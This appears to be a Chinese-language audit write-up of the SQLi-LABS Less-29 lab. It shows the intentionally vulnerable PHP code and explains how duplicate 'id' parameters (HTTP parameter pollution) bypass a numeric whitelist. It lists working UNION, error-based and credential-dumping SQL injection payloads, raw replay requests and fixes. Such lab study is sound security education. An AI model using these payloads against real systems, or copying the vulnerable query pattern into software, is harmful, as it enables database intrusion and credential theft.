sqli-labs-Less-29-代码审计报告

11次阅读
没有评论

Less-29 审计报告:HTTP 参数污染(HPP)绕过 WAF 白名单

1. 关卡概述

项目 内容
关卡名称 Less-29 Protection with WAF
源码路径 Less-29/login.php(WAF 入口,注入点)、Less-29/index.php(无过滤,直接注入)
漏洞类型 SQL 注入 – 报错/联合注入,通过 HTTP 参数污染(HPP)绕过 WAF 数字白名单
注入点参数 GET /Less-29/login.php?id=(重复 id 参数)
报错/盲注 报错回显(print_r(mysql_error()),login.php 第 52 行)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件一:Less-29/login.php(带 WAF 的注入点)

// 第 17 行:关闭 PHP 警告(不影响 mysql_error() 输出)
error_reporting(0);

// 第 22~25 行:关键 —— 两个不同的参数取值方式
$qs = $_SERVER['QUERY_STRING'];      // 取原始查询字符串
$hint=$qs;
$id1=java_implimentation($qs);       // 模拟 Java 容器:取"第一个" id 值
$id=$_GET['id'];                     // PHP 原生:取"最后一个" id 值

// 第 27 行:仅对"第一个 id 值"做数字白名单校验
whitelist($id1);

// 第 38 行:SQL 使用 $id(最后一个 id 值,未过滤)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 52 行:报错回显
print_r(mysql_error());
// 第 68~81 行:白名单 —— 只允许纯数字
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match) { }
    else {
        header('Location: hacked.php');   // 非数字 → 跳转
    }
}
// 第 86~105 行:模拟 Java 容器对重复参数取"第一个"值
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);        // 按 & 拆分
    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id") {
            $id_value=substr($value,3,30);
            return $id_value;            // 直接返回第一个 id 的值
        }
    }
}

文件二:Less-29/index.php(无 WAF,可直接注入)

// 第 22 行:直接取参数,无任何过滤
$id=$_GET['id'];

// 第 32 行:直接拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 46 行:报错回显
print_r(mysql_error());

3. 漏洞分析

  • WAF 机制:whitelist($id1) 只校验 java_implimentation() 返回的值——即查询字符串中第一个 id 参数是否匹配 /^\d+$/。这是模拟"PHP 在 J2EE 反代后"的经典场景:反代(Java)解析重复参数取第一个,WAF 基于此过滤,但后端 PHP 解析重复参数取最后一个。
  • HPP 差异(核心):
    • java_implimentation($qs) 按 & 拆分原始 QUERY_STRING,取第一个 id=xx,只留 substr($value,3,30)(去掉 id= 后 30 字符);
    • $_GET['id'] 由 PHP 解析,重复参数时取最后一个值;
    • 两个取值点不一致 → 白名单校验的值 ≠ 实际进入 SQL 的值。
  • 利用本质:提交 ?id=1&id=<恶意SQL>:
    • 第一个 id=1 → 通过 /^\d+$/ 白名单;
    • 第二个 id=<恶意SQL> → 被 $_GET['id'] 取走进入 WHERE id='...' → 注入成功。
  • 闭合方式:login.php 为 WHERE id='$id',payload 用 1' 闭合单引号,-- - 注释尾部。
  • 报错回显:login.php 第 52 行 / index.php 第 46 行均有 mysql_error(),可直接报错注入或 UNION。

4. 利用方式

步骤一:确认 HPP 生效

  • 正常: ?id=1&id=2 → 显示 Your Login name:Dumb(取第二个值 2,但 2 对应 Angelina,实际显示按 id=2)。
  • 说明:WAF 校验第一个 id=1(数字)放行;SQL 使用第二个 id=2。
  • 恶意: ?id=1&id=1' union select 1,2,3-- - → 若报错/回显异常,注入点确认。

步骤二:联合注入(login.php,HPP 绕过 WAF)

?id=1&id=1' union select 1,2,database()-- -

拼接后:

SELECT * FROM users WHERE id='1' union select 1,2,database()-- -' LIMIT 0,1
  • 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入(无需注释闭合)

?id=1&id=1' and extractvalue(1,concat(0x7e,database()))-- -

回显 XPATH syntax error: '~security'。

步骤四:直接访问 index.php(无 WAF)

?/Less-29/index.php?id=-1' union select 1,2,group_concat(username,0x3a,password) from users-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-29/login.php?id=1&id=1'%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-29/login.php?id=1&id=1'%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

关键:URL 中必须同时存在两个 id 参数,第一个纯数字、第二个为 payload。Yakit 发送时保持原样即可。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:统一参数取值 + 白名单

<?php
// 1) 只取"最后一个"id 且校验,杜绝 WAF 与后端取值不一致
$id = $_GET['id'];
if (!preg_match('/^\d+$/', $id)) {
    header('Location: hacked.php'); exit;
}
// 2) 参数化查询
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

  • 统一不同层(反代 WAF 与后端)对重复参数的处理规则:要么都取第一个,要么都取最后一个,并做严格白名单;
  • 在 Web 层对重复参数直接拒绝/合并后再过滤;
  • 关闭 mysql_error() 回显;数据库最小权限;
  • 升级 PHP 7+ / 8+,移除 mysql_*。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
  • 本关 HPP 的本质:WAF 白名单校验的是"第一个 id",SQL 用的是"最后一个 id"。
正文完
 0